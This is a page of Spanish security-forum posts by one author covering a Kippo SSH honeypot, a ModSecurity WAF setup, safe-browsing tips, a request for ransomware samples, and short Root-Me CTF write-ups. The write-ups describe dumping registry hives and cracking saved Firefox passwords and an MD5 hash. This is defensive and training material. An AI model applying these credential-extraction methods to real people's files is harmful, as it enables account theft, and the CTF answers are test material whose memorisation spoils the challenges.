Descargamos la última versión en su página oficial: You are not allowed to view links. Register or Login


Empezamos a configurar kippo graph, para ello, damos permisos a los gráficos y editamos su fichero de configuración.


Le introducimos los datos de la DB conforme lo hemos hecho anteriormente:


Obviamente, debemos guardar los ficheros de kippo-graph en /var/www o en el directorio de nuestro servidor web.

Nos logueamos con el usuario kippo e inciamos el servicio.


Ahora ya tenemos kippo a la escucha por el puerto 22 con los usuarios y contraseñas definidos anteriormente.

Para ello, nos conectamos y lo comprobamos:


Accedemos a kippo-graph para comprobar si recibimos los datos:

En este caso, uno de mis sensores ha recibido casi 80mil ataques vía SSH en 2 años.


Kippo Graph nos genera muchas estadísticas y gráficos que son muy útiles, como por ejemplo, el top 1o de comandos más utilizados:


Sin duda, unas de las opciones más interesantes (si tenemos el interact desactivado), es el kippo playlog donde podremos reproducir las sesiones de los atacantes:


También tendremos un registro de todos los atacantes y los usuarios:contraseñas utilizados por cada atacante, útil para generarse un diccionario propio.



Y muchas, muchas más cosas que dejo que descubráis vosotros mismos :D

Un saludo,

Blackdrake


11
Python / OSINT: Web Scraping
« en: Agosto 27, 2017, 12:22:23 pm »
Hola a todos!

En esta entrada me gustaría continuar el tema de scraping web para orientarlo a OSINT, no empezaré por lo básico (qué es scraping etc…), pues hay varios post interesantes en el foro sobre eso:

You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

Bien! Si has llegado hasta aquí entiendo que ya sabes lo que significa la palabra scraping, si no es así, pulsa en el artículo de arriba

12
Seguridad web y en servidores / El asombroso mundo del WAF
« en: Junio 06, 2017, 06:45:38 pm »

Hola a todos! En esta entrada vamos a tratar de cero los WAF (Web Application Firewall). Por tanto, debemos empezar por el principio.

Como su propio nombre indica, es un firewall a nivel de aplicación web. Owasp lo define como:

Un waf es un firewall para aplicaciones HTTP. Aplica un conjunto de reglas que cubren ataques comunes como XSS, SQLi etc…

Tipos de WAF

Hay dos tipos de WAF, los que se residen en la red (es decir son un elemento más de la red) y los que se basan en el servidor de aplicaciones (residen en el servidor). Los WAF son elementos complementarios a las medidas de seguridad que soportan los Firewall clásicos.

Llegados a este punto, no nos debería resultar muy complejo entender el siguiente esquema:


Modelos de seguridad

Seguridad Positiva

Este tipo de modelo bloquea todas las peticiones. Sólo acepta las que son seguras, para distinguirlas tiene una serie de reglas.

A priori parece lo más idóneo ya que nos protegemos de nuevos ataques, pero resulta difícil de mantener si la página web tiene un desarrollo continuo pues nos veremos obligados a modificar las reglas constantemente.


Seguridad Negativa

Este modelo es todo lo contrario al anterior, ya que acepta todas las peticiones, bloqueando las que detecta como amenazas. Puesto a que depende de las reglas, suele ser menos fiable, pues el riesgo de bypass se incrementa.

¿Pero esto es seguro?

Hay que tener siempre claro que la seguridad al 100% no existe y esto es tan sólo, un nivel más de seguridad, que sin duda, es más que útil. Como se ha comentado anteriormente, un WAF funciona con reglas y por tanto, esas reglas pueden tener fallos y/o no contemplar nuevos ataques.

¿Cómo consigo un WAF?

En este punto debemos plantearnos si queremos un WAF comercial o uno OpenSource, obviamente las diferencias son notables. En este caso he escogido uno de los más populares, que es modsecurity (You are not allowed to view links. Register or Login).


Es un módulo para servidores HTTP (Apache, NGINX y Microsoft IIS)  cuyo propósito es reforzar la seguridad de las aplicaciones Web. Modsecurity es OpenSource, además, provee un lenguaje de reglas y una API para implementar protecciones avanzadas, permitiendo bloquear gran cantidad de ataques webs, convirtiéndose en un efectivo sistema de prevención y detección de intrusos para servidores Web.

¡Desplegando ModSecurity!

Para obtener modsecurity deberemos instalar lo siguiente:


Código: (bash) You are not allowed to view links. Register or Login
apt-get install libapache2-modsecurity
Una vez instalado, accedemos al directorio (en mi caso) de los mods disponibles en Apache, para ello visualizamos (o creamos si no existe) el fichero mod-security.conf.


Código: (bash) You are not allowed to view links. Register or Login
<IfModule security2_module>
# Default Debian dir for modsecurity’s persistent data
SecDataDir /var/cache/modsecurity

# Include all the *.conf files in /etc/modsecurity.
# Keeping your local configuration in that directory
# will allow for an easy upgrade of THIS file and
# make your life easier
Include “/etc/modsecurity/*.conf”
</IfModule>

Como se puede observar, simplemente incluye todos los ficheros con la extensión “.conf” alojados en /etc/modsecurity. En dicho directorio, tenemos un fichero de configuración recomendado, para activarlo, simplemente debemos renombrarlo y dejarlo con la extensión .conf.



Modsecurity incluye por defecto reglas, éstas están situadas en /usr/share/modsecurity-crs y hace falta activarlas para que empiecen a funcionar, para ello creamos un enlace simbólico de las base_rules a las activated_rules.

Quedando de la siguiente manera:


Tan sólo nos queda activar modsecurity en nuestro sitio, para ello nos dirigimos a /etc/apache2/sites-avalaible y añadimos la información del módulo (dichas líneas incluyen “activan”  las reglas y las configuraciones de modsecurity)

Código: (bash) You are not allowed to view links. Register or Login
<IfModule security2_module>
SecRuleEngine DetectionOnly
Include “/usr/share/modsecurity-crs/*.conf”
Include “/usr/share/modsecurity-crs/activated_rules-testing/*.conf”
</IfModule>


NOTA: DetectionOnly indica que logeé, pero que no bloqueé, de querer bloquear, también se debería editar en la configuración situada en /etc/modsecurity (séptima línea).

Por último reinciamos apache y ya tenemos modsecurity funcionando!

¡Probando ModSecurity!

Para probarlo de forma sencilla, inyectaremos un XSS vía GET en la página, monitorizando los logs para comprobar si la regla lo detecta y lo logea.

Para ello, monitorizamos los logs e inyectamos el XSS.

Código: (bash) You are not allowed to view links. Register or Login
tail -f /var/log/apache2/modsec_audit.log

Como se puede comprobar a continuación la inyección es detectada y registrada.

En la primera parte del log podremos ver los detalles de la conexión:

A continuación, podremos comprobar la respuesta por parte del servidor entregada al cliente y las firmas que han detectado el ataque.

Por último, visualizaremos el tipo de ataque y el modo de actuar del WAF.


13
Seguridad web y en servidores / [UNDERtip] Navegación segura
« en: Mayo 22, 2017, 08:09:46 am »
Hola a todos!

Hoy les traigo el nuevo UNDERtip de la semana, tips para navegar de forma segura :)


  • Evitar los enlaces sospechosos
    • Uno de los métodos más utilizados para direccionar a las víctimas a sitios maliciosos son los enlaces.
   
  • No acceder a sitios web de dudosa reputación
    • A través de técnicas de Ingeniería Social, muchos sitios web suelen promocionarse con datos que pueden llamar la atneción del usuario (descuentos, regalos...), no te engañes, nadie da nada gratis, el negocio eres tú.
    [
   
  • Actualizar el sistema operativo y aplicaciones
    • El usuario debe mantener actualizado tanto el navegador como el sistema operativo.
   
  • Descargar aplicaciones desde sitios web oficiales
    • Muchos sitios ofrecen programas populares que han sido modificados, dichos programas contienen malware.
   
  • Utiliza una red WI-FI conocida
    • Nunca debemos conectarnos a redes de bares, centros comerciales o tiendas pues suelen ser poco seguras. Los paquetes pueden ser capturados facilmente.
   
  • Compra online con precauciones
    • Cuando realices alguna compra a través de Internet, asegúrate de que la url del sitio coincide con la web donde crees estar y que su dirección empieza por https.
   
  • Informa a los niños
    • Los niños también utilizan smartphones y tables, infórmales para que siempre sepan lo que deben hacer. Siendo importante que los mayores tengan un control sobre su actividad online.
       
  • Cuida el IOT (Internet de las cosas)
    • Muchos aparatos del hgoar están conectados a internet, mantén el firmware actualizado. Ya se comprobó el potencial de dichos dispostivos con la botnet MIRAI.


UNDERtip: You are not allowed to view links. Register or Login
Grupo de Facebook: You are not allowed to view links. Register or Login
Canal de Telegram: You are not allowed to view links. Register or Login[/list][/list][/list][/list][/list][/list][/list]

14
Underc0de / Wargames Zone
« en: Febrero 27, 2017, 06:29:02 pm »

Hola Underc0ders!

Hoy queremos anunciar el comienzo de una nueva iniciativa de Underc0de, la wargames zone!

En esta zona podréis comprobar vuestro nivel en ámbitos de la seguridad informática como seguridad web, criptografía, stego, reversing...

La plataforma está realizada de 0 por mi, si reportáis algún bug, seréis recompensados :P

Ni que decir tiene que se irán subiendo retos poco a poco, y que todos los que queráis enviar el vuestro os llevaréis unos puntitos extras en el ranking por colaborar :D

Podéis acceder desde esta URL: You are not allowed to view links. Register or Login

Por razones obvias, está prohibido publicar writeups con los retos aquí alojados :D

Personas que colaboran con el proyecto:

@You are not allowed to view links. Register or Login
@You are not allowed to view links. Register or Login

Saludos a todos y esperamos sus retos!


15
Dudas y pedidos generales / [Pedido] Muestras de Ransomware
« en: Noviembre 24, 2016, 09:47:48 am »
Buenas, me gustaría analizar muestras de ransomware de Ultracrypter, antes llamado cryptxxx.

No he encontrado nada, así que cualquier cosa es bienvenida.

Gracias!

16
Soluciones de Wargames / [Root-Me] Command & Control - level 5
« en: Septiembre 03, 2016, 03:24:45 pm »
Continuamos con el siguiente nivel del anterior post You are not allowed to view links. Register or Login

El reto en cuestión es: You are not allowed to view links. Register or Login

Partiremos del mismo lugar que en el reto anterior:



Pero esta vez, lo que necesitamos está justo ahí, para ello, dumpearemos el fichero ntuser.dat del directorio de John.



Ahora sólo nos queda crackear la contraseña para obtener nuestra flag, para ello, podemos utilizaar cualquier aplicación web como por ejemplo: You are not allowed to view links. Register or Login

Y listo!!

Código: (text) You are not allowed to view links. Register or Login
Bien jugado, pero ya tienes las 25 Puntos
Un saludo,

Blackdrake.

17
Soluciones de Wargames / [Root-Me] Command & Control - level 2
« en: Septiembre 03, 2016, 02:49:00 pm »
Empezamos con algo de forense, concretamente con el siguiente reto: (You are not allowed to view links. Register or Login)

Gracias a @You are not allowed to view links. Register or Login por enseñarme la herramienta volatility :P

El reto nos pide lo siguiente:

Código: (text) You are not allowed to view links. Register or Login
Unfortunately you forget to write down the workstation hostname
Para ello, descargaremos el dumpeo de memoria y comenzaremos a analizarlo.





Comenzamos a buscar el nombre de la máquina, para ello, accedemos a la entrada de: "Machine\System", ya que, si buscamos algo del sistema (como el nombre), deberá estar ahí no? :D



Continuamos profundizando en las rutas hasta encontrar la entrada que queremos:





Encontramos ComputerName, por tanto, ya casi lo tenemos!



Y listo! Ahí está nuestra flag :D



Sin duda un buen reto que nos permite conocer esta gran herramienta.

Un saludo,

Blackdrake.

18
Soluciones de Wargames / [Root-Me] File - Insecure storage 1
« en: Septiembre 03, 2016, 02:12:28 pm »
Continuamos con el reto (You are not allowed to view links. Register or Login)

Comenzamos con un fichero comprimido:



Vamos a descomprimirlo y a ver que nos encontramos!



Nos encontramos con un profile de Firefox, doy por hecho de que nuestra flag es una contraseña, así que, tendremos que atacar a las bases de datos. Para ello, lanzaremos un pequeño script en python que se encargará de esto:




Y listo! Ya tenemos nuestra flag y 20 puntos más ^^

Un saludo,

Blackdrake.

19
Soluciones de Wargames / [Root-Me] Hash - Message Digest 5
« en: Septiembre 03, 2016, 01:47:48 pm »
Continuamos con el reto (You are not allowed to view links. Register or Login)

Comenzamos con lo siguiente:

Código: (text) You are not allowed to view links. Register or Login
Crack the following hash :
7ecc19e1a0be36ba2c6f05d06b5d3058

Puesto a que sabemos que es MD5 (De no saberlo, podéis entrar al Identificator Hash de la comunidad: You are not allowed to view links. Register or Login), una vez identificado, vamos a conocer su valor:





Y listo! Ya tenemos nuestra flag :D

Un saludo,

Blackdrake.

20
Soluciones de Wargames / [Root-Me] Encoding - UU
« en: Septiembre 03, 2016, 01:42:14 pm »
Continuamos con el reto (You are not allowed to view links. Register or Login)

Comenzamos con el siguiente fichero:



Procedemos a decodearlo para capturar la flag:




Un saludo,

Blackdrake.


Páginas: [1] 2 3 4